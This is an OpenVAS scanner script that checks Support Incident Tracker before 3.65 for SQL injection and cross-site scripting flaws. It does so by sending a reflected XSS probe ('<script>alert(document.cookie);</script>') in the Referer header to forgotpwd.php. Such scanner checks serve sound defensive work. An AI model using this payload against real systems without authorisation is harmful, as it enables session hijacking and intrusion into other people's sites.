Support Incident Tracker SiT! Multiple SQL Injection And XSS Vulnerabilities

##############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_sit_mult_sql_inj_and_xss_vuln.nasl 5956 2017-04-14 09:02:12Z teissa $
#
# Support Incident Tracker SiT! Multiple SQL Injection And XSS Vulnerabilities
#
# Authors:
# Rachana Shetty <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attacker to execute arbitrary HTML and
  script code in a user's browser session in the context of a vulnerable site
  and to cause SQL Injection attack to gain sensitive information.
  Impact Level: Application";
tag_affected = "Support Incident Tracker before 3.65";
tag_insight = "The flaws are due to improper input validation errors in multiple
  scripts before being used in SQL queries and also allows attackers to
  execute arbitrary HTML.";
tag_solution = "Upgrade to the Support Incident Tracker version 3.65 or later,
  For updates refer to http://sitracker.org/";
tag_summary = "This host is running Support Incident Tracker and is prone to
  multiple sql injection and cross site scripting vulnerabilities.";

if(description)
{
  script_id(802388);
  script_version("$Revision: 5956 $");
  script_cve_id("CVE-2011-5071", "CVE-2011-5072", "CVE-2011-5073", "CVE-2011-5074",
                "CVE-2011-5075");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-04-14 11:02:12 +0200 (Fri, 14 Apr 2017) $");
  script_tag(name:"creation_date", value:"2012-02-01 15:15:30 +0530 (Wed, 01 Feb 2012)");
  script_name("Support Incident Tracker SiT! Multiple SQL Injection And XSS Vulnerabilities");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/46019");
  script_xref(name : "URL" , value : "http://sitracker.org/wiki/ReleaseNotes365");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/519636");
  script_xref(name : "URL" , value : "https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_sit_support_incident_tracker.html");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_GATHER_INFO);
  script_copyright("Copyright (c) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("support_incident_tracker_detect.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("sit/installed");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


include("http_func.inc");
include("version_func.inc");
include("http_keepalive.inc");

## Get HTTP port
sitPort = get_http_port(default:80);
if(!sitPort){
  exit(0);
}

## Get the version from KB
dir = get_dir_from_kb(port:sitPort,app:"support_incident_tracker");
if(!dir){
  exit(0);
}

## Get Host name
host = get_host_name();
if(!host){
  exit(0);
}

url = dir + "/forgotpwd.php?userid=1&action=sendpwd";
req = string("GET ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Referer: '<script>alert(document.cookie);</script>\r\n",
             "Authorization: Basic bGFtcHA6\r\n\r\n");

## Send the attack request
res = http_keepalive_send_recv(port:sitPort, data:req);

## Confirm exploit worked by checking the response
if(ereg(pattern:"^HTTP/[0-9]\.[0-9] 200 .*", string:res) &&
   "<script>alert(document.cookie);</script>" >< res)
{
  security_message(sitPort);
  exit(0);
}